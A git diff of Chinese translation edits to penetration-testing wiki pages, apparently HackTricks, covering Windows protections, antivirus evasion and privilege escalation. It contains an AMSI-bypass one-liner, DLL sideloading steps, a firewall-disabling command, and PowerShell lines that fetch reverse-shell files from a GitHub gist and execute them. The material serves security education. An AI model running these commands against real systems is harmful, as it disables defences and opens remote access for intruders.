@ -103,7 +103,7 @@ sc query windefend
```
## 加密文件系统 (EFS)
EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密，并存储在加密文件的 $EFS **替代数据流** 中。当需要解密时，使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多详细信息可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **对称密钥**。该密钥使用用户的 **公钥** 进行加密，并存储在加密文件的 $EFS **备用数据流** 中。当需要解密时，使用用户数字证书的相应 **私钥** 从 $EFS 流中解密 FEK。更多详细信息可以在 [这里](https://en.wikipedia.org/wiki/Encrypting_File_System) 找到。
**无需用户启动的解密场景** 包括：
@ -130,11 +130,13 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
#### 成为权限系统
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌（`impersonate_token` 来自 `incognito`）。或者您可以直接 `migrate` 到用户的进程。
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话，您可以模拟用户进程的令牌（`incognito` 中的 `impersonate_token`）。或者您可以直接 `migrate` 到用户的进程。
#### 知道用户的密码
#### 知道用户密码
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## 组管理服务账户 (gMSA)
@ -146,7 +148,7 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
- **计划任务能力**：与管理服务账户不同，gMSA 支持运行计划任务。
- **简化 SPN 管理**：当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时，系统会自动更新服务主体名称 (SPN)，简化 SPN 管理。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块，仅可由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，例如 LDAPS，或者连接必须经过“密封和安全”认证。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) 的加密数据块，仅可由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，如 LDAPS，或连接必须经过 'Sealing & Secure' 认证。
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
@ -181,7 +183,7 @@ $ExecutionContext.SessionState.LanguageMode
Powershell -version 2
```
在当前的Windows中，绕过方法将无法工作，但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
**要编译它，您可能需要** **添加一个引用** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
**要编译它，您可能需要** **_添加引用_** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
#### 直接绕过：
```bash
@ -221,9 +223,9 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T
是用于验证用户的 API。
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后，SSPI 将协商使用哪个身份验证协议，这些身份验证协议称为安全支持提供者 (SSP)，以 DLL 形式位于每台 Windows 机器内部，且两台机器必须支持相同的协议才能进行通信。
SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法是 Kerberos。然后，SSPI 将协商将使用的身份验证协议，这些身份验证协议称为安全支持提供者 (SSP)，以 DLL 形式位于每台 Windows 机器内部，并且两台机器必须支持相同的协议才能进行通信。
### 主要 SSPs
### 主要 SSP
- **Kerberos**: 首选
- %windir%\Windows\System32\kerberos.dll
@ -236,7 +238,7 @@ SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法
- **Negotiate**: 用于协商使用的协议（Kerberos 或 NTLM，默认是 Kerberos）
- %windir%\Windows\System32\lsasrv.dll
#### 协商可能提供多种方法或仅提供一种。
#### 协商可以提供多种方法或仅提供一种。
## UAC - 用户帐户控制

109
src/windows-hardening/av-bypass.md
View File

@ -10,11 +10,11 @@
### **静态检测**
静态检测是通过标记二进制文件或脚本中的已知恶意字符串或字节数组来实现的，同时还提取文件本身的信息（例如，文件描述、公司名称、数字签名、图标、校验和等）。这意味着使用已知的公共工具可能更容易被捕获，因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测：
静态检测是通过标记已知的恶意字符串或字节数组在二进制文件或脚本中实现的，同时还提取文件本身的信息（例如，文件描述、公司名称、数字签名、图标、校验和等）。这意味着使用已知的公共工具可能更容易被捕获，因为它们可能已经被分析并标记为恶意。有几种方法可以绕过这种检测：
- **加密**
如果你加密二进制文件，AV将无法检测到你的程序，但你需要某种加载程序来解密并在内存中运行该程序。
如果你加密了二进制文件，AV将无法检测到你的程序，但你需要某种加载程序来解密并在内存中运行该程序。
- **混淆**
@ -25,19 +25,19 @@
如果你开发自己的工具，就不会有已知的恶意签名，但这需要大量的时间和精力。
> [!NOTE]
> 检查Windows Defender静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分，然后让Defender逐个扫描，这样可以准确告诉你在二进制文件中被标记的字符串或字节。
> 检查Windows Defender静态检测的一个好方法是 [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)。它基本上将文件分成多个部分，然后让Defender逐个扫描，这样可以准确告诉你在二进制文件中标记的字符串或字节。
我强烈建议你查看这个 [YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)，关于实用的AV规避。
我强烈建议你查看这个关于实用AV规避的 [YouTube播放列表](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)。
### **动态分析**
动态分析是指AV在沙箱中运行你的二进制文件并监视恶意活动（例如，试图解密并读取浏览器的密码，对LSASS进行小型转储等）。这部分可能更难处理，但你可以做一些事情来规避沙箱。
动态分析是指AV在沙箱中运行你的二进制文件并监视恶意活动（例如，试图解密并读取浏览器的密码，执行LSASS的minidump等）。这一部分可能更难处理，但这里有一些你可以做的事情来规避沙箱。
- **执行前休眠** 根据实现方式，这可能是绕过AV动态分析的好方法。AV扫描文件的时间非常短，以免打断用户的工作流程，因此使用长时间的休眠可以干扰二进制文件的分析。问题是许多AV的沙箱可以根据实现方式跳过休眠。
- **检查机器资源** 通常沙箱可用的资源非常少（例如，< 2GB RAM），否则可能会减慢用户的机器。你也可以在这里发挥创造力，例如检查CPU的温度或风扇速度，并不是所有内容都会在沙箱中实现。
- **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站，可以检查计算机的域以查看是否与指定的域匹配，如果不匹配，可以让你的程序退出。
- **执行前睡眠** 根据实现方式，这可能是绕过AV动态分析的好方法。AV扫描文件的时间非常短，以免打断用户的工作流程，因此使用长时间的睡眠可以干扰二进制文件的分析。问题是许多AV的沙箱可以根据实现方式跳过睡眠。
- **检查机器资源** 通常沙箱可用的资源非常少（例如，< 2GB RAM），否则它们可能会减慢用户的机器。你也可以在这里发挥创造力，例如检查CPU的温度或风扇速度，并不是所有内容都会在沙箱中实现。
- **特定机器检查** 如果你想针对加入“contoso.local”域的用户的工作站，你可以检查计算机的域以查看是否与指定的域匹配，如果不匹配，你可以让程序退出。
事实证明，Microsoft Defender的沙箱计算机名是HAL9TH，因此，你可以在恶意软件引爆前检查计算机名，如果名称匹配HAL9TH，则意味着你在Defender的沙箱中，因此可以让你的程序退出。
事实证明，Microsoft Defender的沙箱计算机名是HAL9TH，因此，你可以在恶意软件引爆前检查计算机名，如果名称匹配HAL9TH，则意味着你在Defender的沙箱中，因此可以让程序退出。
<figure><img src="../images/image (209).png" alt=""><figcaption><p>来源: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -45,7 +45,7 @@
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev频道</p></figcaption></figure>
正如我们在这篇文章中之前所说，**公共工具**最终会被**检测到**，所以你应该问自己一个问题：
正如我们在这篇文章中之前所说的，**公共工具**最终会被**检测到**，所以你应该问自己一个问题：
例如，如果你想转储LSASS，**你真的需要使用mimikatz吗**？或者你可以使用一个不太知名的项目来转储LSASS。
@ -60,30 +60,30 @@
正如我们在这张图片中看到的，Havoc的DLL有效载荷在antiscan.me上的检测率为4/26，而EXE有效载荷的检测率为7/26。
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对普通Havoc EXE有效载荷与普通Havoc DLL的比较</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me对正常Havoc EXE有效载荷与正常Havoc DLL的比较</p></figcaption></figure>
现在我们将展示一些可以使用DLL文件的技巧，以便更加隐蔽。
现在我们将展示一些你可以使用DLL文件的技巧，以便更加隐蔽。
## DLL旁加载与代理
## DLL侧载与代理
**DLL旁加载**利用加载程序使用的DLL搜索顺序，通过将受害者应用程序和恶意有效载荷并排放置来实现。
**DLL侧载**利用加载程序使用的DLL搜索顺序，通过将受害者应用程序和恶意有效载荷并排放置来实现。
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下PowerShell脚本检查易受DLL旁加载影响的程序：
你可以使用 [Siofra](https://github.com/Cybereason/siofra) 和以下PowerShell脚本检查易受DLL侧载攻击的程序：
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
此命令将输出“C:\Program Files\\”中易受DLL劫持影响的程序列表及其尝试加载的DLL文件。
此命令将输出在 "C:\Program Files\\" 中易受 DLL 劫持影响的程序列表及其尝试加载的 DLL 文件。
我强烈建议您**自己探索可被DLL劫持/侧载的程序**，如果正确执行，这种技术相当隐蔽，但如果您使用公开已知的DLL侧载程序，可能会很容易被抓住。
我强烈建议你**自己探索可被 DLL 劫持/侧载的程序**，如果正确执行，这种技术相当隐蔽，但如果你使用公开已知的 DLL 侧载程序，可能会很容易被抓住。
仅仅放置一个恶意DLL，其名称是程序期望加载的名称，并不会加载您的有效载荷，因为程序期望该DLL中有一些特定的函数。为了解决这个问题，我们将使用另一种技术，称为**DLL代理/转发**。
仅仅通过放置一个恶意 DLL，其名称是程序期望加载的名称，并不会加载你的有效载荷，因为程序期望该 DLL 中有一些特定的函数。为了解决这个问题，我们将使用另一种技术，称为**DLL 代理/转发**。
**DLL代理**将程序从代理（和恶意）DLL发出的调用转发到原始DLL，从而保留程序的功能并能够处理您的有效载荷的执行。
**DLL 代理**将程序从代理（和恶意）DLL 发出的调用转发到原始 DLL，从而保留程序的功能并能够处理你的有效载荷的执行。
我将使用[@flangvik](https://twitter.com/Flangvik/)的[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)项目。
我将使用 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 项目来自 [@flangvik](https://twitter.com/Flangvik/)
以下是我遵循的步骤：
```
@ -92,7 +92,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
最后的命令将给我们两个文件：一个 DLL 源代码模板和原始重命名的 DLL。
最后一个命令将给我们两个文件：一个 DLL 源代码模板和原始重命名的 DLL。
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
@ -107,7 +107,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading，以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入地了解我们讨论的内容。
> 我 **强烈推荐** 你观看 [S3cur3Th1sSh1t 的 twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading 的内容，以及 [ippsec 的视频](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入地了解我们讨论的内容。
## [**Freeze**](https://github.com/optiv/Freeze)
@ -137,13 +137,13 @@ AMSI功能集成在Windows的以下组件中。
- JavaScript和VBScript
- Office VBA宏
它允许杀毒软件通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
它允许杀毒解决方案通过以未加密和未混淆的形式暴露脚本内容来检查脚本行为。
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 将在Windows Defender上产生以下警报。
运行`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`将在Windows Defender上产生以下警报。
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
注意它是如何在前面加上 `amsi:` 然后是脚本运行的可执行文件的路径，在这种情况下是powershell.exe。
注意它是如何在脚本运行的可执行文件路径前加上`amsi:`，在这种情况下是powershell.exe。
我们没有将任何文件写入磁盘，但仍然因为AMSI在内存中被捕获。
@ -151,21 +151,21 @@ AMSI功能集成在Windows的以下组件中。
- **混淆**
由于AMSI主要依赖静态检测，因此，修改你尝试加载的脚本可能是规避检测的好方法。
由于AMSI主要依赖静态检测，因此修改你尝试加载的脚本可能是规避检测的好方法。
然而，AMSI有能力解混淆脚本，即使它有多层，因此混淆可能是一个糟糕的选择，这取决于它的实现方式。这使得规避变得不那么简单。尽管有时，你所需要做的只是更改几个变量名称，你就可以成功，因此这取决于某个东西被标记的程度。
然而，AMSI有能力解混淆脚本，即使它有多层，因此混淆可能是一个糟糕的选择，这取决于它的实现方式。这使得规避变得不那么简单。尽管有时，你所需要做的只是更改几个变量名称，你就可以成功，因此这取决于某个内容被标记的程度。
- **AMSI绕过**
由于AMSI是通过将DLL加载到powershell（也包括cscript.exe、wscript.exe等）进程中来实现的，因此即使以非特权用户身份运行，也可以轻松篡改它。由于AMSI实现中的这个缺陷，研究人员发现了多种绕过AMSI扫描的方法。
由于AMSI是通过将DLL加载到powershell（也包括cscript.exe、wscript.exe等）进程中来实现的，因此即使以非特权用户身份运行，也可以轻松篡改它。由于AMSI实现中的这个缺陷，研究人员发现了多种规避AMSI扫描的方法。
**强制错误**
强制AMSI初始化失败（amsiInitFailed）将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的，微软已经开发了一种签名来防止更广泛的使用。
强制AMSI初始化失败（amsiInitFailed）将导致当前进程不会启动扫描。最初这是由[Matt Graeber](https://twitter.com/mattifestation)披露的，微软已经开发了一种签名以防止更广泛的使用。
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
只需一行 PowerShell 代码就可以使当前 PowerShell 进程的 AMSI 无法使用。 当然，这一行已经被 AMSI 本身标记，因此需要进行一些修改才能使用此技术。
只需一行 PowerShell 代码就可以使当前 PowerShell 进程无法使用 AMSI。 当然，这一行已经被 AMSI 本身标记，因此需要进行一些修改才能使用此技术。
这是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 中获取的修改过的 AMSI 绕过方法。
```powershell
@ -190,7 +190,7 @@ $Spotfix.SetValue($null,$true)
> [!NOTE]
> 请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获取更详细的解释。
还有许多其他技术可以通过 PowerShell 绕过 AMSI，查看 [**此页面**](basic-powershell-for-pentesters/#amsi-bypass) 和 [这个仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
还有许多其他技术可以通过 PowerShell 绕过 AMSI，查看 [**此页面**](basic-powershell-for-pentesters/#amsi-bypass) 和 [此仓库](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多信息。
或者这个脚本通过内存补丁将补丁应用于每个新的 PowerShell。
@ -199,7 +199,7 @@ $Spotfix.SetValue($null,$true)
有几种工具可以用来 **混淆 C# 明文代码**，生成 **元编程模板** 以编译二进制文件或 **混淆编译后的二进制文件**，例如：
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 混淆器**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 LLVM 编译套件分支，能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目的是提供一个开源的 [LLVM](http://www.llvm.org/) 编译套件的分支，能够通过 [代码混淆](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改提供增强的软件安全性。
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成混淆代码，而无需使用任何外部工具且不修改编译器。
- [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ 模板元编程框架生成的混淆操作，这将使想要破解应用程序的人稍微困难一些。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 二进制混淆器，能够混淆各种不同的 pe 文件，包括：.exe, .dll, .sys
@ -210,13 +210,13 @@ $Spotfix.SetValue($null,$true)
## SmartScreen & MoTW
你可能在从互联网下载某些可执行文件并执行它们时见过这个屏幕。
您可能在从互联网下载某些可执行文件并执行它们时见过此屏幕。
Microsoft Defender SmartScreen 是一种安全机制，旨在保护最终用户免受运行潜在恶意应用程序的影响。
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen 主要采用基于声誉的方法，这意味着不常下载的应用程序将触发 SmartScreen，从而警告并阻止最终用户执行该文件（尽管可以通过点击更多信息 -> 无论如何运行来执行该文件）。
SmartScreen 主要采用基于声誉的方法，这意味着不常下载的应用程序将触发 SmartScreen，从而警告并阻止最终用户执行该文件（尽管可以通过单击更多信息 -> 无论如何运行来执行该文件）。
**MoTW**（网络标记）是一个 [NTFS 备用数据流](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)，其名称为 Zone.Identifier，下载来自互联网的文件时会自动创建，并附带下载的 URL。
@ -225,7 +225,7 @@ SmartScreen 主要采用基于声誉的方法，这意味着不常下载的应
> [!NOTE]
> 重要的是要注意，使用 **受信任** 签名证书签名的可执行文件 **不会触发 SmartScreen**。
防止你的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中，例如 ISO。这是因为网络标记（MOTW） **不能** 应用于 **非 NTFS** 卷。
防止您的有效载荷获得网络标记的一个非常有效的方法是将它们打包在某种容器中，例如 ISO。这是因为网络标记（MOTW） **不能** 应用于 **非 NTFS** 卷。
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
@ -257,9 +257,9 @@ Adding file: /TotallyLegitApp.exe
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
## C# 程序集反射
## C#程序集反射
在内存中加载C#二进制文件已经被知道了一段时间，这仍然是运行后渗透工具而不被AV捕获的非常好方法。
在内存中加载C#二进制文件已经被知道很长时间了，这仍然是运行后渗透工具而不被AV捕获的非常好方法。
由于有效载荷将直接加载到内存中而不接触磁盘，我们只需担心在整个过程中修补AMSI。
@ -278,13 +278,13 @@ Adding file: /TotallyLegitApp.exe
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 如果你想了解更多关于C#程序集加载的信息，请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 和他们的InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> 如果你想了解更多关于C#程序集加载的信息，请查看这篇文章[https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/)及其InlineExecute-Assembly BOF（[https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)）
你还可以从PowerShell加载C#程序集，查看 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
你还可以从PowerShell加载C#程序集，查看[Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader)和[S3cur3th1sSh1t的视频](https://www.youtube.com/watch?v=oe11Q-3Akuk)。
## 使用其他编程语言
正如在 [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 中提出的，可以通过让被攻陷的机器访问**安装在攻击者控制的SMB共享上的解释器环境**来使用其他语言执行恶意代码。
正如在[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)中提出的，可以通过让被攻陷的机器访问**安装在攻击者控制的SMB共享上的解释器环境**来使用其他语言执行恶意代码。
通过允许访问SMB共享上的解释器二进制文件和环境，你可以**在被攻陷机器的内存中执行这些语言的任意代码**。
@ -292,24 +292,28 @@ Adding file: /TotallyLegitApp.exe
## 高级规避
规避是一个非常复杂的话题，有时你必须考虑一个系统中许多不同的遥测来源，因此在成熟环境中完全不被检测几乎是不可能的。
规避是一个非常复杂的话题，有时你必须考虑一个系统中许多不同的遥测源，因此在成熟环境中完全不被检测几乎是不可能的。
你所面对的每个环境都有其自身的优缺点。
我强烈建议你观看[@ATTL4S](https://twitter.com/DaniLJ94)的这场演讲，以了解更多高级规避技术。
我强烈建议你观看[@ATTL4S](https://twitter.com/DaniLJ94)的这次演讲，以了解更多高级规避技术。
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
这也是[@mariuszbit](https://twitter.com/mariuszbit)关于深入规避的另一场精彩演讲。
这也是[@mariuszbit](https://twitter.com/mariuszbit)关于深入规避的另一个精彩演讲。
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **旧技术**
### **检查Defender发现的恶意部分**
你可以使用[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)，它将**删除二进制文件的部分**，直到**找出Defender**发现的恶意部分并将其分离给你。\
另一个做**同样事情的工具是** [**avred**](https://github.com/dobin/avred)，它在[**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)提供开放的网络服务。
你可以使用[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)，它将**移除二进制文件的部分**，直到**找出Defender**发现的恶意部分并将其分离给你。\
另一个做**同样事情的工具是**[**avred**](https://github.com/dobin/avred)，它在[**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)提供开放的网络服务。
### **Telnet服务器**
@ -321,14 +325,14 @@ pkgmgr /iu:"TelnetServer" /quiet
```bash
sc config TlntSVR start= auto obj= localsystem
```
**更改telnet端口** (隐蔽) 并禁用防火墙:
**更改 telnet 端口** (隐蔽) 并禁用防火墙:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
从以下地址下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)（你需要的是二进制下载，而不是安装程序）
从以下地址下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (你需要的是二进制下载，而不是安装程序)
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
@ -345,7 +349,7 @@ netsh advfirewall set allprofiles state off
**警告:** 为了保持隐蔽性，你必须避免以下几件事
- 如果 `winvnc` 已经在运行，不要启动它，否则会触发一个 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
- 如果没有 `UltraVNC.ini` 在同一目录中，不要启动 `winvnc`，否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
- 如果同一目录中没有 `UltraVNC.ini`，不要启动 `winvnc`，否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
- 不要运行 `winvnc -h` 获取帮助，否则会触发一个 [弹出窗口](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -473,7 +477,9 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# 混淆器列表: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

102
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

@ -127,15 +127,15 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **脚本块日志记录**
脚本执行的完整活动和全部内容记录被捕获，确保每个代码块在运行时都有文档记录。此过程保留了每个活动的全面审计跟踪，对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动，提供了对该过程的详细洞察。
脚本执行的完整活动和内容记录被捕获，确保每个代码块在运行时都有文档记录。此过程保留了每个活动的全面审计跟踪，对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动，提供了对该过程的详细洞察。
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
记录脚本块的事件可以在Windows事件查看器中找到，路径为：**应用程序和服务日志 > Microsoft > Windows > PowerShell > 操作**。\
要查看最后20个事件，可以使用：
脚本块的日志事件可以在 Windows 事件查看器中找到，路径为：**应用程序和服务日志 > Microsoft > Windows > PowerShell > 操作**。\
要查看最后 20 个事件，可以使用：
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
```
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
如果更新不是通过 http**S** 而是通过 http 请求的，您可以危害系统。
您可以通过运行以下命令检查网络是否使用非 SSL WSUS 更新：
您可以通过运行以下命令检查网络是否使用非 SSL 的 WSUS 更新：
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -182,11 +182,11 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
>
> 此外，由于 WSUS 服务使用当前用户的设置，它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中，我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名，它将被服务接受。
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 利用此漏洞（解放后）。
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)（一旦它被解放）来利用此漏洞。
## KrbRelayUp
在特定条件下，Windows **域** 环境中存在 **本地权限提升** 漏洞。这些条件包括 **LDAP 签名未强制执行** 的环境，用户拥有自我权限，允许他们配置 **基于资源的受限委派 (RBCD)**，以及用户在域内创建计算机的能力。重要的是要注意，这些 **要求** 在 **默认设置** 下满足。
